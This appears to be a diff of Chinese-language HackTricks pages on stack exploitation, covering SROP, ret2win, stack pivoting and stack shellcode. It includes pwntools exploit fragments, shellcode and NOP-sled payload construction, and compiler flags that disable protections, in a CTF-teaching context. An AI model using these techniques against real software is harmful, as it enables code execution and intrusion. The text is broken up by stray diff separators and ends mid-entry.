- 64 位，无 PIE，nx，BF canary，在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。
|
||||
- 64 位，无 PIE，nx，BF canary，在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **信号处理程序** 处理信号，这是一种专门用于处理信号的函数。
|
||||
**`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **signal handler** 处理信号，signal handler 是一个专门处理信号的函数。
|
||||
|
||||
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
|
||||
在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的堆栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
|
||||
|
||||
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器（RSP）。
|
||||
有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从堆栈中弹出这些值**，有效地将 CPU 的寄存器重置为信号处理之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器（RSP）。
|
||||
|
||||
> [!CAUTION]
|
||||
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到 **栈** 中的寄存器值，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
|
||||
> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
|
||||
|
||||
请注意，这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
|
||||
注意这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
如果你感兴趣，这是存储在栈中的 **sigcontext 结构**，以便稍后恢复值（图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)）：
|
||||
如果你感兴趣，这是存储在堆栈中的 **sigcontext 结构**，以便稍后恢复值（图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)）：
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
@ -90,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
另请查看[**此处的漏洞利用**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)，其中二进制文件已经调用了`sigreturn`，因此不需要使用**ROP**来构建。
|
||||
检查[**此处的漏洞利用**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)，其中二进制文件已经调用了`sigreturn`，因此不需要使用**ROP**来构建。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -128,14 +128,14 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)，并读取二进制内存中的标志。
|
||||
- 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/index.html)，并读取二进制内存中的标志。
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)（该二进制文件包含字符串`/bin/sh`）。
|
||||
- 允许**写入栈**的汇编二进制文件，然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/index.html)（该二进制文件包含字符串`/bin/sh`）。
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64位，无relro，无canary，nx，无pie。简单的缓冲区溢出，利用`gets`函数，缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`，利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
|
||||
- 64位，无relro，无canary，nx，无pie。简单的缓冲区溢出，利用`gets`函数，缺乏执行[**ret2syscall**](../rop-syscall-execv/index.html)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`，利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64位汇编程序，无relro，无canary，nx，无pie。流程允许在栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。选择的系统调用是`sigreturn`，它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程，程序将再次调用read到ESP，但在这种情况下ESP将指向下一个指令，因此传递一个shellcode将其写为下一个指令并执行。
|
||||
- 64位汇编程序，无relro，无canary，nx，无pie。流程允许在栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。选择的系统调用是`sigreturn`，它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并在二进制空间中设置ESP。按照流程，程序将再次调用read到ESP，但在这种情况下ESP将指向下一个指令，因此传递一个shellcode将其写为下一个指令并执行。
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP用于为放置shellcode的地方赋予执行权限（memprotect）。
|
||||
- SROP用于赋予执行权限（memprotect）给放置shellcode的地方。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是栈溢出
|
||||
## What is a Stack Overflow
|
||||
|
||||
**栈溢出**是一种漏洞，当程序向栈中写入的数据超过其分配的容量时，就会发生这种情况。这些多余的数据将**覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的，这些函数在输入时不进行边界检查。
|
||||
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的，这些函数在输入时不进行边界检查。
|
||||
|
||||
这个覆盖的主要问题是**保存的指令指针（EIP/RIP）**和**保存的基指针（EBP/RBP）**用于返回到上一个函数，它们是**存储在栈上的**。因此，攻击者将能够覆盖这些内容并**控制程序的执行流**。
|
||||
这个覆盖的主要问题在于**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是**存储在栈上的**。因此，攻击者将能够覆盖这些指针并**控制程序的执行流**。
|
||||
|
||||
该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。
|
||||
|
||||
一些常见的易受攻击的函数包括：**`strcpy`, `strcat`, `sprintf`, `gets`**...此外，像**`fgets`**、**`read`和`memcpy`**这样的函数，如果指定的长度大于分配的长度，可能会以脆弱的方式使用。
|
||||
一些常见的易受攻击的函数包括：**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外，像**`fgets`**、**`read` & `memcpy`**这样的函数，如果指定的长度大于分配的长度，可能会以脆弱的方式使用。
|
||||
|
||||
例如，以下函数可能是脆弱的：
|
||||
例如，以下函数可能是易受攻击的：
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### 寻找栈溢出偏移量
|
||||
|
||||
寻找栈溢出的最常见方法是输入大量的 `A`s（例如 `python3 -c 'print("A"*1000)'`），并期待出现 `Segmentation Fault`，这表明 **尝试访问了地址 `0x41414141`**。
|
||||
寻找栈溢出的最常见方法是输入大量的 `A`（例如 `python3 -c 'print("A"*1000)'`），并期待出现 `Segmentation Fault`，这表明 **尝试访问了地址 `0x41414141`**。
|
||||
|
||||
此外，一旦发现存在栈溢出漏洞，您需要找到偏移量，以便能够 **覆盖返回地址**，通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列，这是一个 **循环序列，其中每个可能的长度为 \_n**\_\*\* 的子序列恰好出现一次\*\* 作为连续子序列。
|
||||
|
||||
这样，您就不需要手动计算控制 EIP 所需的偏移量，可以使用这些序列中的一个作为填充，然后找到覆盖它的字节的偏移量。
|
||||
这样，您就不需要手动找出控制 EIP 所需的偏移量，而是可以使用这些序列中的一个作为填充，然后找到覆盖它的字节的偏移量。
|
||||
|
||||
可以使用 **pwntools** 来实现这一点：
|
||||
```python
|
||||
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
### Ret2win
|
||||
|
||||
在这种类型的 CTF 挑战中，二进制文件中有一个**函数**，**从未被调用**，而且**您需要调用它才能获胜**。对于这些挑战，您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**（通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/)会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
|
||||
在这种类型的 CTF 挑战中，二进制文件中有一个**函数**，**从未被调用**，而且**您需要调用它才能获胜**。对于这些挑战，您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**（通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -65,7 +65,7 @@ ret2win/
|
||||
|
||||
### 栈 Shellcode
|
||||
|
||||
在这种情况下，攻击者可以在栈中放置一个 shellcode，并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码：
|
||||
在这种情况下，攻击者可以在栈中放置一个 shellcode，并利用控制的 EIP/RIP 跳转到 shellcode 并执行任意代码：
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... 技术
|
||||
|
||||
该技术是绕过前一种技术的主要保护措施的基本框架：**不可执行栈 (NX)**。它允许执行其他几种技术（ret2lib，ret2syscall...），最终通过滥用二进制中的现有指令执行任意命令：
|
||||
该技术是绕过前一种技术主要保护的基本框架：**不可执行栈 (NX)**。它允许执行其他几种技术（ret2lib，ret2syscall...），通过滥用二进制中的现有指令最终执行任意命令：
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
|
||||
@ -31,15 +31,15 @@ return 0;
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: 将程序编译为32位二进制文件（这不是必需的，但在CTF挑战中很常见）。
|
||||
- `-m32`: 将程序编译为 32 位二进制文件（这不是必需的，但在 CTF 挑战中很常见）。
|
||||
- `-fno-stack-protector`: 禁用对栈溢出的保护。
|
||||
- `-z execstack`: 允许在栈上执行代码。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，以确保`win`函数的地址不变。
|
||||
- `-o vulnerable`: 将输出文件命名为`vulnerable`。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，以确保 `win` 函数的地址不变。
|
||||
- `-o vulnerable`: 将输出文件命名为 `vulnerable`。
|
||||
|
||||
### 使用Pwntools的Python Exploit
|
||||
### 使用 Pwntools 的 Python 利用
|
||||
|
||||
对于这个exploit，我们将使用**pwntools**，这是一个强大的CTF框架，用于编写exploit。该exploit脚本将创建一个有效负载，以溢出缓冲区并用`win`函数的地址覆盖返回地址。
|
||||
对于利用，我们将使用 **pwntools**，这是一个强大的 CTF 框架，用于编写利用脚本。利用脚本将创建一个有效负载，以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -63,14 +63,14 @@ p.interactive()
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
此命令将显示 `win` 函数的汇编代码，包括其起始地址。 
|
||||
该命令将显示 `win` 函数的汇编代码，包括其起始地址。 
|
||||
|
||||
Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址可能并不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
|
||||
- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址可能并不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
|
||||
- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
@ -84,15 +84,15 @@ Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 位，无 ASLR，双小溢出，第一次溢出栈并增大第二次溢出的大小
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 位，relro，无金丝雀，nx，无 pie，格式字符串覆盖地址 `fflush` 为 `win` 函数（ret2win）
|
||||
- 32 位，relro，无金丝雀，nx，无 pie，格式字符串覆盖地址 `fflush` 为 `win` 函数 (ret2win)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
- 32 位，nx，其他无，部分覆盖 EIP（1Byte）以调用 `win` 函数
|
||||
- 32 位，nx，其他无，部分覆盖 EIP (1Byte) 调用 `win` 函数
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 位，nx，其他无，部分覆盖 EIP（1Byte）以调用 `win` 函数
|
||||
- 32 位，nx，其他无，部分覆盖 EIP (1Byte) 调用 `win` 函数
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- 该程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建一个缓冲区溢出，通过 ret2win 进行利用。
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 位，relro，无金丝雀，nx，pie。部分覆盖以调用 `win` 函数（ret2win）
|
||||
- 64 位，relro，无金丝雀，nx，pie。部分覆盖以调用 `win` 函数 (ret2win)
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64，PIE，给出一个 PIE 泄漏，`win` 函数实际上是两个函数，因此 ROP gadget 调用两个函数
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
|
||||
@ -12,32 +12,32 @@ mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
由于**EBP在栈中**位于EIP之前，因此可以通过控制栈来控制它。
|
||||
并且由于**EBP在栈中**位于EIP之前，因此可以通过控制栈来控制它。
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
当你可以**更改EBP寄存器但没有直接方法更改EIP寄存器**时，这种技术特别有用。它利用了函数执行完毕后的行为。
|
||||
当你**可以更改EBP寄存器但没有直接方法更改EIP寄存器**时，这种技术特别有用。它利用了函数执行完毕后的行为。
|
||||
|
||||
如果在`fvuln`执行期间，你设法在栈中注入一个**假EBP**，指向内存中你的shellcode地址所在的区域（加上4个字节以考虑`pop`操作），你可以间接控制EIP。当`fvuln`返回时，ESP被设置为这个构造的位置，随后的`pop`操作将ESP减少4，**有效地使其指向攻击者在其中存储的地址。**\
|
||||
注意你**需要知道2个地址**：ESP将要去的地址，以及你需要在其中写入的地址。
|
||||
注意你**需要知道2个地址**：ESP将要去的地址，以及你需要在ESP指向的地方写入的地址。
|
||||
|
||||
#### Exploit Construction
|
||||
|
||||
首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP将指向这里并**运行第一个`ret`**。
|
||||
首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP将在这里指向并**运行第一个`ret`**。
|
||||
|
||||
然后，你需要知道`ret`使用的地址，该地址将**执行任意代码**。你可以使用：
|
||||
|
||||
- 一个有效的[**ONE_GADGET**](https://github.com/david942j/one_gadget)地址。
|
||||
- **`system()`**的地址，后面跟着**4个垃圾字节**和`"/bin/sh"`的地址（x86位）。
|
||||
- 一个**`jump esp;`** gadget的地址（[**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)），后面跟着要执行的**shellcode**。
|
||||
- 一些[**ROP**](../rop-return-oriented-programing/)链
|
||||
- 一些[**ROP**](../rop-return-oriented-programing/index.html)链
|
||||
|
||||
请记住，在受控内存的任何这些地址之前，必须有**`4`个字节**，因为**`pop`**部分的`leave`指令。可以利用这4个字节设置一个**第二个假EBP**，并继续控制执行。
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
这种技术有一个特定的变体，称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置必须与EBP共享前3个字节，从而允许在更受限的条件下进行类似的操作。\
|
||||
通常会修改字节0x00以尽可能远地跳转。
|
||||
通常会修改字节0x00以跳转尽可能远。
|
||||
|
||||
此外，通常在栈中使用RET滑块，并将真实的ROP链放在末尾，以使新的ESP更有可能指向RET滑块内部，并执行最终的ROP链。
|
||||
|
||||
@ -54,9 +54,9 @@ ret
|
||||
|
||||
基本上，这种方式可以链接多个假EBP以控制程序的流程。
|
||||
|
||||
这类似于[ret2lib](../rop-return-oriented-programing/ret2lib/)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
|
||||
这类似于[ret2lib](../rop-return-oriented-programing/ret2lib/index.html)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。
|
||||
|
||||
此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与**栈泄漏**调用一个成功的函数。这是页面的最终有效载荷：
|
||||
此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与**栈泄漏**来调用一个获胜函数。这是页面的最终有效载荷：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -94,7 +94,7 @@ print(p.recvline())
|
||||
```
|
||||
## EBP 可能未被使用
|
||||
|
||||
如[**在此帖子中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是使用某些优化编译的，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞利用基本上都会失败，因为它没有任何实际效果。\
|
||||
如[**在此帖子中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是使用某些优化编译的，**EBP 永远无法控制 ESP**，因此，任何通过控制 EBP 的漏洞基本上都会失败，因为它没有任何实际效果。\
|
||||
这是因为如果二进制文件经过优化，**前言和尾声会发生变化**。
|
||||
|
||||
- **未优化：**
|
||||
@ -123,7 +123,7 @@ ret # return
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**：
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战，需要调用一个带有 2 个特定参数的函数，并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**：
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -186,13 +186,13 @@ xchg <reg>, rsp
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 位，越界利用，使用以 ret sled 开头的 rop 链
|
||||
- 64 位，越界利用，使用以 ret sled 开头的 ROP 链
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 位，无 relro、canary、nx 和 pie。该程序允许泄漏堆栈或 pie 以及一个 qword 的 WWW。首先获取堆栈泄漏，然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环（[更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)）。利用这个“永恒”写入，在 .bss 中写入一个 ROP 链并最终调用它，通过 RBP 进行 pivoting。
|
||||
|
||||
## ARM64
|
||||
|
||||
在 ARM64 中，**函数的前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外，**`RET`** 指令不会返回到 SP 指向的地址，而是 **返回到 `x30` 内的地址**。
|
||||
在 ARM64 中，函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外，**`RET`** 指令不会返回到 SP 指向的地址，而是 **返回到 `x30` 内的地址**。
|
||||
|
||||
因此，默认情况下，仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP，你仍然需要一种方法来 **控制 `x30`** 寄存器。
|
||||
|
||||
@ -213,7 +213,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**（通过控制某个寄存器，其值传递给 `SP`，或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出），然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **返回** 到它。
|
||||
> 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**（通过控制某个寄存器的值传递给 `SP`，或者因为某种原因 `SP` 从堆栈获取其地址并且我们有溢出）然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
|
||||
在以下页面中，你还可以看到 **Ret2esp 在 ARM64 中的等效物**：
|
||||
|
||||
|
||||
@ -33,13 +33,13 @@ return 0;
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: 禁用栈保护。
|
||||
- `-z execstack`: 使栈可执行，这对于执行存储在栈上的shellcode是必要的。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，使预测我们的shellcode将位于的内存地址更容易。
|
||||
- `-m32`: 将程序编译为32位可执行文件，通常在漏洞开发中为了简化而使用。
|
||||
- `-z execstack`: 使栈可执行，这对于执行存储在栈上的 shellcode 是必要的。
|
||||
- `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于的内存地址变得更容易。
|
||||
- `-m32`: 将程序编译为 32 位可执行文件，通常用于简化漏洞开发。
|
||||
|
||||
### 使用Pwntools的Python漏洞利用
|
||||
### 使用 Pwntools 的 Python 漏洞利用
|
||||
|
||||
以下是如何使用**pwntools**在Python中编写一个**ret2shellcode**攻击的漏洞利用：
|
||||
以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的示例：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,14 +66,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
该脚本构造了一个有效负载，由**NOP滑块**、**shellcode**组成，然后用指向NOP滑块的地址覆盖**EIP**，确保shellcode被执行。
|
||||
这个脚本构造了一个有效载荷，由**NOP滑块**、**shellcode**组成，然后用指向NOP滑块的地址覆盖**EIP**，确保shellcode被执行。
|
||||
|
||||
**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，而不管确切的地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以便落入NOP滑块。
|
||||
**NOP滑块**（`asm('nop')`）用于增加执行“滑入”我们的shellcode的机会，无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量，以便落入NOP滑块。
|
||||
|
||||
## 保护措施
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **应该被禁用**，以确保地址在执行之间是可靠的，否则存储函数的地址不会总是相同，您需要一些泄漏以确定win函数加载的位置。
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应该被禁用，否则被破坏的EIP返回地址将永远不会被跟随。
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该禁用**，以确保地址在执行之间是可靠的，否则存储函数的地址不会总是相同，您需要一些泄漏以确定win函数加载的位置。
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应该禁用，否则被破坏的EIP返回地址将永远不会被跟随。
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode，因为该区域将不可执行。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** 是一个用于分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装，其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。
|
||||
